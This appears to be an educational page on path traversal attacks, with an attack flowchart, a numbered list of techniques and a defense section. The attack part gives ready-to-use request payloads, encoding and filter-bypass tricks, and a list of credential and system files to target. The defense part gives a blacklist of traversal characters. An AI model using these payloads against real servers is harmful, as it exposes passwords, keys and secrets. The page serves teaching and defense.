📂 Path Traversal Attack Flow
Directory Traversal / File Path Manipulation
flowchart TD
A[👤 Attacker] -->|1. Identify file parameter| B[🔍 Discovery Phase]
B -->|2. Test traversal sequences| C[🌐 Web Application]
C -->|3. Process file path| D[📁 File Access Function]
D -->|4. No path validation| E[❌ Missing Input Sanitization]
E -->|5. Traverse directories| F[🗂️ File System]
F -->|6. Access /etc/passwd| G[🔑 System Files]
F -->|7. Read config files| H[⚙️ Configuration Files]
F -->|8. Access source code| I[💻 Application Code]
F -->|9. Read database creds| J[💾 Database Credentials]
G -->|10. Return to attacker| A
H -->|11. Expose secrets| A
I -->|12. Code disclosure| A
J -->|13. Database access| A
style A fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style B fill:#74c0fc,stroke:#f59e0b,stroke-width:2px,color:#000
style C fill:#ffd43b,stroke:#f59e0b,stroke-width:2px,color:#000
style D fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff
style E fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style F fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff
style G fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style H fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style I fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style J fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
K[🔒 Defense:
Path Canonicalization] -.->|Resolve real path| D
L[🛡️ Defense:
Whitelist Validation] -.->|Allow only safe files| E
M[⚙️ Defense:
Chroot Jail] -.->|Restrict access| F
style K fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style L fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style M fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
📋 Attack Flow Breakdown
1
Basic Path Traversal: Use ../ to navigate up directories.
GET /download?file=../../../../etc/passwd
GET /image?name=../../../config/database.yml
2
Absolute Path Injection: Specify absolute file paths.
GET /file?path=/etc/passwd
GET /view?doc=/var/www/html/.env
3
Encoded Traversal: URL-encode to bypass filters.
../ → %2e%2e%2f → %2e%2e/ → ..%2f
Double encoding: %252e%252e%252f
4
Null Byte Injection (Legacy): Truncate file extension checks.
GET /file?name=../../../../etc/passwd%00.jpg
(Works on older PHP versions)
5
Unicode/UTF-8 Bypass: Use alternative encodings.
../ → ..%c0%af → ..%ef%bc%8f
6
Windows Path Traversal: Windows-specific sequences.
GET /file?path=..\..\..\..\windows\system32\config\sam
C:\Windows\System.ini
7
Bypass Filters: Evade basic sanitization.
....// → After removing ../ → ../
..;/ → Filter removes ; → ../
8
Target Sensitive Files: Common targets across OS.
Linux: /etc/passwd, /etc/shadow, ~/.ssh/id_rsa
Windows: C:\boot.ini, C:\windows\win.ini
Apps: .env, config.php, web.config, application.properties
🛡️ Defense Mechanisms
✅ Input Validation with Whitelist:
Only allow specific, known-safe filenames.
allowed_files = ['report.pdf', 'invoice.doc']
if filename not in allowed_files: reject()
✅ Path Canonicalization:
Resolve the real absolute path and validate it.
real_path = os.path.realpath(user_input)
if not real_path.startswith(SAFE_DIR): reject()
✅ Reject Dangerous Characters:
Block path traversal sequences and absolute paths.
Blacklist: ../ ..\ / \ | : < > " %00
✅ Use File IDs Instead of Names:
Map file IDs to actual paths server-side.
GET /download?id=12345 → maps to file_12345.pdf
✅ Chroot Jail / Sandboxing:
Restrict file access to specific directory.
os.chdir(SAFE_DIR) | chroot environments
✅ Principle of Least Privilege:
Run application with minimal file system permissions.
Read-only access to necessary directories only
✅ Use Framework Functions:
Leverage secure file handling from frameworks.
Django: FileSystemStorage | Express: express.static with options